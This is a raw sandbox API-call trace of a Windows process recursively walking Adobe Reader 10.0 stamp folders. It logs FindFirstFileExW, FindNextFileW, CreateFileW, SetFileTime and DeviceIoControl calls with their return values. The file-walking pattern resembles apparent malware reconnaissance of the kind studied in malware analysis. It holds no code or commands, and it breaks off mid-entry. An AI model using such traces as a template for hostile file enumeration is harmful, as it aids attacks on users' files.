[0083.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0b48 [0083.076] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0b48, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0b48, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0b48) returned 1 [0083.076] NtClose (Handle=0x174) returned 0x0 [0083.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.077] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.077] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.078] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12152c0 [0083.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a52b0 [0083.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.079] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9f16, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12152e0 [0083.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a53b8 [0083.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.081] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215300 [0083.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a54c0 [0083.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.083] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.083] GetLastError () returned 0x12 [0083.083] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.083] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.083] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.083] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.083] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9f16, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.083] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.083] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.083] GetLastError () returned 0x12 [0083.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.083] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.084] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0083.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.084] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.085] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.085] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0b48 [0083.086] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0b48, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0b48, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0b48) returned 1 [0083.086] NtClose (Handle=0x180) returned 0x0 [0083.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.086] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.086] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.087] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.087] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.087] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.087] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.087] GetLastError () returned 0x12 [0083.087] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.087] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.087] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.087] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.087] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.087] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.087] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.087] GetLastError () returned 0x12 [0083.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.087] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.087] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0083.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.088] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0b48 [0083.089] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0b48, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0b48, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0b48) returned 1 [0083.089] NtClose (Handle=0x174) returned 0x0 [0083.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.090] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.092] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.092] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215380 [0083.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a58e0 [0083.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.094] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x892d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12153a0 [0083.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a59e8 [0083.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.095] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: 